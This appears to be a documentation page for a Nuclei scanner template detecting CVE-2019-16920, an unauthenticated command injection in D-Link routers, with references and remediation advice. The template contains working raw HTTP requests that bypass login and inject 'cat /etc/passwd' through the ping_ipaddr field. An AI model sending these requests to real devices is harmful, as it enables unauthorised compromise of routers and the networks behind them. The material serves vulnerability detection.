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D-Link Routers - Remote Code Execution

ID: CVE-2019-16920

Severity: critical

Author: dwisiswant0

Tags: cve2019,cve,dlink,rce,router,unauth,kev

D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a “PingTest” device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

id: CVE-2019-16920
info:
name: D-Link Routers - Remote Code Execution
author: dwisiswant0
severity: critical
description: D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to complete compromise of the device and the network it is connected to.
remediation: |
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-16920
- https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
- https://fortiguard.com/zeroday/FG-VD-19-117
- https://www.seebug.org/vuldb/ssvid-98079
- https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-16920
cwe-id: CWE-78
epss-score: 0.96307
epss-percentile: 0.99507
cpe: cpe:2.3:o:dlink:dir-655_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: dlink
product: dir-655_firmware
tags: cve2019,cve,dlink,rce,router,unauth,kev
http:
- raw:
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}
html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/login_pic.asp
Cookie: uid=1234123
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}/login_pic.asp
Cookie: uid=1234123
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
- type: status
status:
- 200
# digest: 4a0a00473045022100c67c6220d739abe844a617d1f30f52cec23c8d829290cc6c34af584f0de4628b02204a4c975365ac293e2c380d1c310aa85da20b4f08a6e390c3f7b854cd698e6e34:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16920.yaml"

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